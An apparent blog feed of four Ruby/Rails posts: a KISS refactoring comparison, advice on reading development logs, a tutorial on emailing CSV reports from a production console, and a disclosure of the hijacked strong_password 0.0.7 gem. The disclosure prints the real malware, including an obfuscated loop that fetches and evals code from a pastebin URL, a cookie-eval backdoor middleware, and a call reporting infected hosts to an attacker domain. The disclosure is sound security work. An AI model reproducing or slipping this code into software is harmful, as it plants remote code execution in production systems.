With a TwistSoftware Developmenthttps://withatwist.dev/2019-07-31T00:00:00+00:00Mauro Otonelli, Sebastian Armano, Tute CostaKeep It Simple (KISS coding principle)https://withatwist.dev/keep-it-simple-kiss.html2019-07-31T00:00:00+00:002019-07-31T19:19:55+00:00Tute Costa<p>The app we maintain has a set of steps (currently two) a user may have to fill
before moving on. One step is always shown, while the other can be disabled with
a feature flag. We assume this list may grow, and even when it doesn’t, we know
code is copied over to other parts of the codebase, so we better get it right
early.</p>
<p>Our first implementation:</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr>
<td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td>
<td class="rouge-code"><pre><span class="k">def</span> <span class="nf">supported_steps</span>
<span class="p">{</span>
<span class="ss">current_medications: </span><span class="kp">true</span><span class="p">,</span>
<span class="ss">allergies_review: </span><span class="no">Feature</span><span class="p">.</span><span class="nf">enabled?</span><span class="p">(</span><span class="no">PREVISIT_ALLERGIES</span><span class="p">),</span>
<span class="p">}.</span><span class="nf">select</span> <span class="p">{</span> <span class="o">|</span><span class="n">_step_name</span><span class="p">,</span> <span class="n">enabled</span><span class="o">|</span> <span class="n">enabled</span> <span class="p">}.</span><span class="nf">keys</span>
<span class="k">end</span>
</pre></td>
</tr></tbody></table></code></pre></div>
<p>A suggestion during code review:</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr>
<td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td>
<td class="rouge-code"><pre><span class="k">def</span> <span class="nf">supported_steps</span>
<span class="n">steps</span> <span class="o">=</span> <span class="p">[</span><span class="ss">:current_medications</span><span class="p">]</span>
<span class="n">steps</span> <span class="o">&lt;&lt;</span> <span class="ss">:allergies_review</span> <span class="k">if</span> <span class="no">Feature</span><span class="p">.</span><span class="nf">enabled?</span><span class="p">(</span><span class="no">PREVISIT_ALLERGIES</span><span class="p">)</span>
<span class="n">steps</span>
<span class="k">end</span>
</pre></td>
</tr></tbody></table></code></pre></div>
<p>It’s quicker to get what’s happening in the second option, and while the methods
stay short, they are practically equal. Our code reviews can get lengthy so <strong>we
try not to chime in when either option is fine, but I suggested the first as a
simpler option (even if not easier)</strong>[1]. Let’s see why.</p>
<p></p><p>The app we maintain has a set of steps (currently two) a user may have to fill
before moving on. One step is always shown, while the other can be disabled with
a feature flag. We assume this list may grow, and even when it doesn’t, we know
code is copied over to other parts of the codebase, so we better get it right
early.</p>
<p>Our first implementation:</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">supported_steps</span>
<span class="p">{</span>
<span class="ss">current_medications: </span><span class="kp">true</span><span class="p">,</span>
<span class="ss">allergies_review: </span><span class="no">Feature</span><span class="p">.</span><span class="nf">enabled?</span><span class="p">(</span><span class="no">PREVISIT_ALLERGIES</span><span class="p">),</span>
<span class="p">}.</span><span class="nf">select</span> <span class="p">{</span> <span class="o">|</span><span class="n">_step_name</span><span class="p">,</span> <span class="n">enabled</span><span class="o">|</span> <span class="n">enabled</span> <span class="p">}.</span><span class="nf">keys</span>
<span class="k">end</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>A suggestion during code review:</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">supported_steps</span>
<span class="n">steps</span> <span class="o">=</span> <span class="p">[</span><span class="ss">:current_medications</span><span class="p">]</span>
<span class="n">steps</span> <span class="o">&lt;&lt;</span> <span class="ss">:allergies_review</span> <span class="k">if</span> <span class="no">Feature</span><span class="p">.</span><span class="nf">enabled?</span><span class="p">(</span><span class="no">PREVISIT_ALLERGIES</span><span class="p">)</span>
<span class="n">steps</span>
<span class="k">end</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>It’s quicker to get what’s happening in the second option, and while the methods
stay short, they are practically equal. Our code reviews can get lengthy so <strong>we
try not to chime in when either option is fine, but I suggested the first as a
simpler option (even if not easier)</strong>[1]. Let’s see why.</p>
<p></p>
<hr>
<p>The <strong>first approach</strong> starts with a hash with step names as keys and
statuses as values. It ends by selecting enabled steps calling two methods on
the anonymous hash. It’s declarative: a quick glance tells what steps we have,
and when would those be enabled.</p>
<p>To add a step, one adds a line following the step-name/enabled pattern. We can
rely on the methods at the end doing their thing. <strong>We deal with the <em>what</em>
(the values) more than with the <em>how</em> (the computations to get there)</strong>.</p>
<p>It requires we know the hash structure and what <code>select(k, v)</code> and <code>keys</code>
methods do.</p>
<hr>
<p>The <strong>suggested version</strong> starts by creating a local variable with an array with
a single element, that’s unconditionally there. It then mutates the array to
contain another element, when the <code>if</code> condition holds <code>true</code>. It ends by
returning the possibly-mutated array.</p>
<p>To add a step, one adds another line that mutates the array, which has a name at
the left and the condition at the right (much alike with the first approach).</p>
<p>It requires we know the array, a variable assignment, the shovel operator, and
the conditional <code>if</code>. We know those since our first steps with computers, and in
that sense, it’s easier.</p>
<p>But now it’s more verbose, and we construct the result line by line. Alongside
the step name and the condition, each line will contain the <code>steps</code> variable and
the shovel operator. It may also contain the <code>if</code> call, in which case it
negatively affects the cyclomatic complexity of the method (<a href="https://github.com/seattlerb/flog#description">flog</a> pain-score
goes up, <a href="https://docs.codeclimate.com/docs/maintainability-calculation">CodeClimate GPA</a> goes down). We are forced to think about the <em>how</em>
whenever we think of the <em>what</em>. The implementation is mixed in with data in an
imperative way. <strong>The <em>how</em> and the <em>what</em> are intertwined together</strong>, making it
more complicated.</p>
<hr>
<p><strong>Thinking twice before adding any local or instance variable helps me keep my
code simpler</strong>.</p>
<hr>
<p>PS: Here’s Mauro’s suggestion to make that code even more readable (extracts an
intention revealing method).</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">enabled_steps</span>
<span class="n">supported_steps</span><span class="p">.</span><span class="nf">select</span> <span class="p">{</span> <span class="o">|</span><span class="n">_step_name</span><span class="p">,</span> <span class="n">enabled</span><span class="o">|</span> <span class="n">enabled</span> <span class="p">}.</span><span class="nf">keys</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">supported_steps</span>
<span class="p">{</span>
<span class="ss">current_medications: </span><span class="kp">true</span><span class="p">,</span>
<span class="ss">allergies_review: </span><span class="no">Feature</span><span class="p">.</span><span class="nf">enabled?</span><span class="p">(</span><span class="no">PREVISIT_ALLERGIES</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">end</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>[1] See Rich Hickey&rsquo;s talk, <a href="https://www.infoq.com/presentations/Simple-Made-Easy/">Simple Made Easy</a></p>
Using logs to power up your Rails development workflowhttps://withatwist.dev/using-logs-to-power-up-your-rails-development-workflow.html2019-07-29T00:00:00+00:002019-07-31T19:19:55+00:00Mauro Otonelli<p>When working on Rails applications, I find tailing the development log and
watching it as I navigate through pages very useful.
<strong>Some of the questions that should be in the back of your mind while looking at
it are:</strong></p>
<ul>
<li>Am I hitting the right URL, with the proper HTTP method?</li>
<li>Am I sending the right parameters? (Are they all necessary?)</li>
<li>Are there any warnings/exceptions that I should handle?</li>
<li>Does the ORM generate the right SQL statements?</li>
<li>Is my request taking a longer time than expected?</li>
<li>Am I making unnecessary 3rd party API requests?</li>
</ul>
<p></p><p>When working on Rails applications, I find tailing the development log and
watching it as I navigate through pages very useful.
<strong>Some of the questions that should be in the back of your mind while looking at
it are:</strong></p>
<ul>
<li>Am I hitting the right URL, with the proper HTTP method?</li>
<li>Am I sending the right parameters? (Are they all necessary?)</li>
<li>Are there any warnings/exceptions that I should handle?</li>
<li>Does the ORM generate the right SQL statements?</li>
<li>Is my request taking a longer time than expected?</li>
<li>Am I making unnecessary 3rd party API requests?</li>
</ul>
<p> The first three questions have relatively more straightforward answers,
and I won&rsquo;t expand on them in this article.</p>
<p><strong>The first two are not necessarily bad things, but they are design problems
that lead to code complexity and tech debt.</strong> They might happen in cases where
Rails (or your framework of choice) is acting as an API server, which only
responds with JSON responses. In those cases, you might not be using the most
specific/accurate requests, or you might be sending more parameters than
necessary.</p>
<h2>Does the ORM generate the right SQL statements?</h2>
<p>If you keep this one in mind (and you&rsquo;re not already using <a href="https://github.com/flyerhzm/bullet">bullet</a>), you might
become aware of N+1 problems, or that you&rsquo;re loading/eager loading things you
might not need. <strong>Or the fact that a single query could be taking way longer
than you expected.</strong></p>
<h2>Is my request taking a longer time than expected?</h2>
<p>According to <a href="https://www.railsspeed.com">Nate Berkopec</a> of &ldquo;The Complete Guide to Rails Performance&rdquo;,
<strong>the average app server response time should be 300 ms</strong>. Your log should
include the response time, and you should be aware of your slowest endpoints,
and what you can do about them, or if there&rsquo;s a trend between requests that use
the same models. APMs like <a href="https://www.skylight.io">Skylight</a> and <a href="https://scoutapm.com">Scout</a> help with this once your code
is running in production.</p>
<h2>Am I making unnecessary 3rd party API requests?</h2>
<p>It&rsquo;s preferable to have a high signal/noise ratio in your logs, which is why
libraries like <a href="https://github.com/evrone/quiet_assets">quiet_assets</a> are so popular (it&rsquo;s now part of Rails).
<strong>However, you should consider logging 3rd party API requests if you aren&rsquo;t
already</strong>. High response times for these are tougher to work with, since they
are usually out of your reach, but it can help you understand if your app&rsquo;s
response time is slow because of them.</p>
<p>Also, it might be the case that your application is making more than one
external API request in a row, allowing you to catch these, and you might be
able to change the code to make fewer requests while accomplishing the same
task.</p>
<p><strong>Log as much as you can without losing focus of what&rsquo;s essential</strong>. Libraries
such as <a href="https://github.com/roidrage/lograge">Lograge</a> can help you clean up logs, which might be useful <em>if</em> you
configure it correctly. Rails 6.0 will also begin <a href="https://github.com/rails/rails/pull/34136">logging object allocations</a>
rendered in each view, so you can keep track in development of which rendered
views are heavier on memory usage. <strong>Decreasing object allocations also improves
response times.</strong></p>
<hr>
<p>Try to keep an eye on the log when you&rsquo;re running your code in development
(<a href="https://thoughtbot.com/blog/tail-your-test-logs">tail your test logs</a> too), and keep in mind these questions to help
keep your codebase tidy.</p>
Reporting from ephemeral containers in productionhttps://withatwist.dev/reporting-on-the-fly.html2019-07-17T00:00:00+00:002019-07-31T19:19:55+00:00Sebastian Armano<p>Reporting is not a particular task of business analysts anymore. <strong>Anyone at any
department, at any point in time, needs a quick report based on the latest data
to validate their decisions</strong>. Having the ability to create small custom reports
in a couple of minutes, and in a format that can be consumed by any analysis
software is a powerful resource to have in our belt. </p><p>Reporting is not a particular task of business analysts anymore. <strong>Anyone at any
department, at any point in time, needs a quick report based on the latest data
to validate their decisions</strong>. Having the ability to create small custom reports
in a couple of minutes, and in a format that can be consumed by any analysis
software is a powerful resource to have in our belt. The goal is to run this kind
of reports without having too much overhead that would kill our productivity,
and without having to learn a new set of libraries or tools.</p>
<p>Platform as a service (PAAS) environments like Aptible or Heroku only give you
an <em>ephemeral container</em> when accessing the console, which means that changes to
the code or the directory structure are <em>not</em> be persisted. That means <strong>we need
a way of extracting anything useful from that environment before we
close the session</strong> or we have to start from scratch when opening another one.</p>
<p>At Epion Health we often face this challenge, and I decided to create a
repeatable and straightforward way of achieving this.</p>
<h2>The task</h2>
<p>We can divide the tasks into three main phases:</p>
<ol>
<li>Processing of required data based on the report specifications</li>
<li>Creation of the report in a format easily readable for any analysis tool</li>
<li>Submission of the report to stakeholders</li>
</ol>
<p>We can combine some of the features that Rails, Vim and Tmux bring to the table
to swiftly complete this task.</p>
<h3>Data processing</h3>
<p>In our check-in application we want to run a report on how long check-ins
take. The <code>CheckIn</code> model has start and end timestamps, and belongs to a
practice. We calculate the duration in a method in the <code>CheckIn</code> model by
subtracting those timestamps.</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="n">start_datetime</span> <span class="o">=</span> <span class="no">Date</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="mi">2019</span><span class="p">,</span> <span class="mo">05</span><span class="p">,</span> <span class="mi">20</span><span class="p">).</span><span class="nf">beginning_of_day</span>
<span class="n">end_datetime</span> <span class="o">=</span> <span class="no">Date</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="mi">2019</span><span class="p">,</span> <span class="mo">05</span><span class="p">,</span> <span class="mi">25</span><span class="p">).</span><span class="nf">end_of_day</span>
<span class="no">CheckIn</span><span class="p">.</span>
<span class="nf">for_practice</span><span class="p">(</span><span class="mi">1</span><span class="p">).</span>
<span class="nf">where</span><span class="p">(</span><span class="ss">created_at: </span><span class="n">start_datetime</span><span class="o">..</span><span class="n">end_datetime</span><span class="p">).</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">ci</span><span class="o">|</span>
<span class="n">check_in_id</span> <span class="o">=</span> <span class="n">ci</span><span class="p">.</span><span class="nf">id</span>
<span class="n">check_in_date</span> <span class="o">=</span> <span class="n">ci</span><span class="p">.</span><span class="nf">created_at</span>
<span class="n">check_in_duration</span> <span class="o">=</span> <span class="n">ci</span><span class="p">.</span><span class="nf">timespan</span>
</pre></td></tr></tbody></table></code></pre></div>
<h3>Report Creation</h3>
<p>CSV or comma-separated values is a format that is simple to use, flexible and
supported by almost any tool around (from Business Intelligence tools like
Tableau to less specific tools like MS Excel or Apple Pages). <strong>Ruby also
has support for the this kind of files with its standard library class <a href="https://ruby-doc.org/stdlib-2.6.1/libdoc/csv/rdoc/CSV.html">CSV</a>.</strong></p>
<p>For our report, we are taking advantage only of the CSV creation
feature of the class. We open a file in <code>wb</code> mode (which recreates it
every time we run the script), and we add contents inside the block we pass.
<code>CSV</code> takes care of closing the file after we are done (that&rsquo;s the reason behind
passing a block to it in the first place).</p>
<p>The object passed to the block contains an array of arrays, of two levels. <strong>Ruby
converts each top-level array to a row in the CSV file and each array inside it
to the list of elements, separated by commas.</strong> We want headers, so we add
the array of strings for that.</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="n">dir</span> <span class="o">=</span> <span class="no">Rails</span><span class="p">.</span><span class="nf">root</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s2">"tmp"</span><span class="p">)</span>
<span class="n">filename</span> <span class="o">=</span> <span class="s2">"check_in_duration.csv"</span>
<span class="n">headers_array</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"Check-in ID"</span><span class="p">,</span> <span class="s2">"Date"</span><span class="p">,</span> <span class="s2">"duration (sec)"</span><span class="p">]</span>
<span class="n">start_datetime</span> <span class="o">=</span> <span class="no">Date</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="mi">2019</span><span class="p">,</span> <span class="mo">05</span><span class="p">,</span> <span class="mi">20</span><span class="p">).</span><span class="nf">beginning_of_day</span>
<span class="n">end_datetime</span> <span class="o">=</span> <span class="no">Date</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="mi">2019</span><span class="p">,</span> <span class="mo">05</span><span class="p">,</span> <span class="mi">25</span><span class="p">).</span><span class="nf">end_of_day</span>
<span class="no">CSV</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span><span class="n">dir</span><span class="si">}</span><span class="s2">/</span><span class="si">#{</span><span class="n">filename</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"wb"</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">csv</span><span class="o">|</span>
<span class="n">csv</span> <span class="o">&lt;&lt;</span> <span class="n">headers_array</span>
<span class="no">CheckIn</span><span class="p">.</span>
<span class="nf">for_practice</span><span class="p">(</span><span class="mi">1</span><span class="p">).</span>
<span class="nf">where</span><span class="p">(</span><span class="ss">created_at: </span><span class="n">start_datetime</span><span class="o">..</span><span class="n">end_datetime</span><span class="p">).</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">ci</span><span class="o">|</span>
<span class="n">check_in_id</span> <span class="o">=</span> <span class="n">ci</span><span class="p">.</span><span class="nf">id</span>
<span class="n">check_in_date</span> <span class="o">=</span> <span class="n">ci</span><span class="p">.</span><span class="nf">created_at</span>
<span class="n">check_in_duration</span> <span class="o">=</span> <span class="n">ci</span><span class="p">.</span><span class="nf">timespan</span>
<span class="n">csv</span> <span class="o">&lt;&lt;</span> <span class="p">[</span><span class="n">check_in_id</span><span class="p">,</span> <span class="n">check_in_date</span><span class="p">,</span> <span class="n">check_in_duration</span><span class="p">]</span>
<span class="k">end</span>
<span class="k">end</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>So with that, we&rsquo;ve just generated a file in our <code>tmp</code> directory with the
report. There&rsquo;s one last thing remaining to complete the task. Extracting and
submitting the file to whoever requested it.</p>
<h3>Report submission</h3>
<p>It would be great if we could download the file from production in some way so
we can send it as an email attachment. However, Rails has better plans for us.
<strong>We can do this directly in the console using <a href="https://api.rubyonrails.org/v5.2.3/classes/ActionMailer/Base.html">ActionMailer</a>.</strong></p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="n">mailer</span> <span class="o">=</span> <span class="no">Class</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="no">ActionMailer</span><span class="o">::</span><span class="no">Base</span><span class="p">)</span> <span class="k">do</span>
<span class="k">def</span> <span class="nf">report_message</span>
<span class="n">attachments</span><span class="p">[</span><span class="n">filename</span><span class="p">]</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span><span class="n">dir</span><span class="si">}</span><span class="s2">/</span><span class="si">#{</span><span class="n">filename</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">mail</span><span class="p">(</span>
<span class="ss">to: </span><span class="s2">"receiver@example.com"</span><span class="p">,</span>
<span class="ss">from: </span><span class="s2">"data@example.com"</span><span class="p">,</span> <span class="ss">subject: </span><span class="s2">"Check-ins duration"</span><span class="p">,</span>
<span class="ss">body: </span><span class="s2">"May 20 to May 25 - Practice 111"</span><span class="p">,</span>
<span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="n">mailer</span><span class="p">.</span><span class="nf">report_message</span><span class="p">.</span><span class="nf">deliver!</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>We create an object of the class provided by Rails and pass a block with the
attached file and a call to the <code>mail</code> method, which contains the needed
information about the recipient, sender, and content. We complete the
submission calling <code>deliver!</code> on it.</p>
<p>Great. Our script does all the needed tasks. Now, how do we run it
in production?</p>
<h3>Running the script in production</h3>
<p>Vim, Tmux, and a plugin created by Chris Toomey are the tools that we use to
complete this goal. First of all, if you don&rsquo;t have it, you can install <a href="https://github.com/christoomey/vim-tmux-runner">Vim
Tmux Runner</a> following the instructions in the readme. Then, these are the steps
to follow:</p>
<ol>
<li>Open 2 panes of Tmux (I like to do it side by side, in a vertical split).</li>
<li>Connect to production Rails console in one of the panes (e.g. <code>aptible ssh
--app [name_of_the_app]</code>, and then <code>bundle exec rails console</code> for an Aptible
app)</li>
<li>Open your script in a Vim window in the other pane</li>
<li>In Vim, connect to the other pane running <code>VtrAttachToPane</code> (or your
shortcut for that command). As there is only one other pane it connects
automatically. If you have more than two panes opened in the same window, it
asks you to pick one. Pick the one with the production Rails console.</li>
<li>Select the range of lines you want to run (I usually run the part of the
script that creates the file first, and send the email in a second step).</li>
<li>Run <code>VtrSendLinesToRunner</code> which copies and runs the range selected in the
other pane.</li>
</ol>
<p>That&rsquo;s it! You&rsquo;ve successfully created a CSV report and sent it to an email
account in a flexible, and straightforward.</p>
<p>Here is how the process would look like when executed:</p>
<p><img src="/images/2019-07-14-reporting-on-the-fly.gif" alt="Example video" /></p>
<p>You can save now this script in a Gist and reuse it changing only the required
parts. <strong>This process has saved me from many of the pain points associated with
having to run reports in an ephemeral container.</strong></p>
<p>If you want to know more about how to integrate Vim and Tmux to create an
excellent development environment, there is a <a href="https://thoughtbot.com/upcase/videos/tmux-vim-integration">great video</a> on it also created by
Chris Toomey for thoughtbot&rsquo;s Upcase.</p>
strong_password v0.0.7 rubygem hijackedhttps://withatwist.dev/strong-password-rubygem-hijacked.html2019-07-03T00:00:00+00:002019-07-31T19:19:55+00:00Tute Costa<p>I recently updated minor and patch versions of the gems our Rails app uses. We
want to keep dependencies fresh, bugs fixed, security vulnerabilities addressed
while maintaining a high chance of backward compatibility with our codebase. In
all, it was 25 gems we’d upgrade.</p>
<p>I went line by line linking to each library’s changeset. <strong>This due diligence
never reported significant surprises to me, until this time</strong>. </p><p>I recently updated minor and patch versions of the gems our Rails app uses. We
want to keep dependencies fresh, bugs fixed, security vulnerabilities addressed
while maintaining a high chance of backward compatibility with our codebase. In
all, it was 25 gems we’d upgrade.</p>
<p>I went line by line linking to each library&rsquo;s changeset. <strong>This due diligence
never reported significant surprises to me, until this time</strong>. Most
gems have a <code>CHANGELOG.md</code> file that describes the changes in each version. Some
do not, and I had to compare by git tags or commits list (like cocoon or bcrypt
gems). The <code>jquery-rails</code> upgrade contains a <code>jQuery.js</code> upgrade, so the related
log was in another project.</p>
<p><strong>And I couldn’t find the changes for <code>strong_password</code></strong>. It appeared to have
gone from 0.0.6 to 0.0.7, yet the last change in any branch in GitHub was from 6
months ago, and we were up to date with those. If there was new code, it existed
only in <code>RubyGems.org</code>.</p>
<p>I downloaded the gem from RubyGems and compared its contents with the latest
copy in GitHub. At the end of <code>lib/strong_password/strength_checker.rb</code> version
0.0.7 there was the following:</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">_!</span><span class="p">;</span><span class="k">begin</span><span class="p">;</span><span class="k">yield</span><span class="p">;</span><span class="k">rescue</span> <span class="no">Exception</span><span class="p">;</span><span class="k">end</span><span class="p">;</span><span class="k">end</span>
<span class="n">_!</span><span class="p">{</span><span class="no">Thread</span><span class="p">.</span><span class="nf">new</span><span class="p">{</span><span class="kp">loop</span><span class="p">{</span><span class="n">_!</span><span class="p">{</span><span class="nb">sleep</span>
<span class="nb">rand</span><span class="o">*</span><span class="mi">3333</span><span class="p">;</span><span class="nb">eval</span><span class="p">(</span><span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="no">URI</span><span class="p">(</span><span class="s1">'https://pastebin.com/raw/xa456PFt'</span><span class="p">)))}}}</span><span class="k">if</span>
<span class="no">Rails</span><span class="p">.</span><span class="nf">env</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="s2">"p"</span><span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>I checked who published it and it was an almost empty account, with a different
name than the maintainer’s, with access only to this gem. I checked the
maintainer’s email in GitHub and wrote to him with the prettified version of the
diff:</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">_!</span><span class="p">;</span>
<span class="k">begin</span><span class="p">;</span>
<span class="k">yield</span><span class="p">;</span>
<span class="k">rescue</span> <span class="no">Exception</span><span class="p">;</span>
<span class="k">end</span><span class="p">;</span>
<span class="k">end</span>
<span class="n">_!</span><span class="p">{</span>
<span class="no">Thread</span><span class="p">.</span><span class="nf">new</span> <span class="p">{</span>
<span class="kp">loop</span> <span class="p">{</span>
<span class="n">_!</span><span class="p">{</span>
<span class="nb">sleep</span> <span class="nb">rand</span> <span class="o">*</span> <span class="mi">3333</span><span class="p">;</span>
<span class="nb">eval</span><span class="p">(</span>
<span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span>
<span class="no">URI</span><span class="p">(</span><span class="s1">'https://pastebin.com/raw/xa456PFt'</span><span class="p">)</span>
<span class="p">)</span>
<span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">if</span> <span class="no">Rails</span><span class="p">.</span><span class="nf">env</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"p"</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>In a loop within a new thread, after waiting for a random number of seconds up
to about an hour, it fetches and runs the code stored in a <code>pastebin.com</code>, only if
running in production, with an empty exception handler that ignores any error
it may raise.</p>
<p>In fifteen minutes, Brian McManus wrote back:</p>
<blockquote>
<p>The gem seems to have been pulled out from under me… When I login to
rubygems.org I don’t seem to have ownership now. Bogus 0.0.7 release was
created 6/25/2019.</p>
</blockquote>
<p>In case the Pastebin got deleted or changed, I emailed the Pastebin that was up
on June 28th at 8 PM UTC, carbon-copying Ruby on Rails’ security coordinator,
<a href="https://twitter.com/rafaelfranca">Rafael França</a>:</p>
<div class="highlight"><pre class="highlight ruby"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="n">_!</span> <span class="p">{</span>
<span class="k">unless</span> <span class="n">defined?</span><span class="p">(</span><span class="no">Z1</span><span class="p">)</span>
<span class="no">Rack</span><span class="o">::</span><span class="no">Sendfile</span><span class="p">.</span><span class="nf">prepend</span> <span class="no">Module</span><span class="p">.</span><span class="nf">new</span><span class="p">{</span><span class="n">define_method</span><span class="p">(</span><span class="ss">:call</span><span class="p">){</span><span class="o">|</span><span class="n">e</span><span class="o">|</span>
<span class="n">_!</span><span class="p">{</span><span class="nb">eval</span><span class="p">(</span><span class="no">Base64</span><span class="p">.</span><span class="nf">urlsafe_decode64</span><span class="p">(</span><span class="n">e</span><span class="p">[</span><span class="s1">'HTTP_COOKIE'</span><span class="p">].</span><span class="nf">match</span><span class="p">(</span><span class="sr">/___id=(.+);/</span><span class="p">)[</span><span class="mi">1</span><span class="p">]))}</span>
<span class="k">super</span><span class="p">(</span><span class="n">e</span><span class="p">)}}</span>
<span class="no">Z1</span> <span class="o">=</span> <span class="s2">"(:"</span>
<span class="k">end</span>
<span class="p">}</span>
<span class="n">_!</span> <span class="p">{</span>
<span class="no">Faraday</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="s2">"http://smiley.zzz.com.ua"</span><span class="p">,</span> <span class="p">{</span> <span class="s2">"x"</span> <span class="o">=&gt;</span> <span class="no">ENV</span><span class="p">[</span><span class="s2">"URL_HOST"</span><span class="p">].</span><span class="nf">to_s</span> <span class="p">})</span>
</pre></td></tr></tbody></table></code></pre></div>
<p>While waiting for their answers, I tried to understand the code. If it didn&rsquo;t
run before (checking for the existence of the <code>Z1</code> dummy constant) it injects a
middleware that <code>eval</code>&lsquo;s cookies named with an <code>___id</code> suffix, only in
production, all surrounded by the empty exception handler <code>_!</code> function that&rsquo;s
defined in the hijacked gem, opening the door to <strong>silently executing remote
code in production at the attacker’s will</strong>.</p>
<p>It also sends a request to a controlled domain with an HTTP header informing the
infected host URLs. It depends on the Faraday gem being loaded for the
notification to work (which the <code>oauth2</code> and <code>stripe</code> gems, for example,
include).</p>
<p>Rafael França replied in 25 minutes, adding <code>security@rubygems.org</code> to the thread.
Someone at RubyGems quickly yanked it, and the next day André Arko confirmed he
had yanked it, locked the <code>kickball</code> RubyGems account, and added Brian back to
the gem.</p>
<p>I asked for a CVE identifier (Common Vulnerabilities and Exposures) to
<code>cve-request@mitre.org</code>, and they assigned CVE-2019-13354, which I used to announce
the potential issue in production installations to the <a href="https://github.com/rubysec/ruby-advisory-db">rubysec/ruby-advisory-db</a>
project and the <a href="https://groups.google.com/forum/#!forum/ruby-security-ann">ruby-security-ann Google Group</a>.</p>
<hr>
<p>EDIT (July 8th): the author <a href="https://news.ycombinator.com/item?id=20382779">explained how he thinks his account was taken
over</a>. He had his RubyGems
account for long enough that 2-factor-auth wasn’t even an option, back then he
didn’t have unique passwords in different websites, and since then many services
got breached, and attackers might have guessed his credentials. <strong>Use password
managers! Rotate weak passwords and activate 2FA wherever it matters</strong>.</p>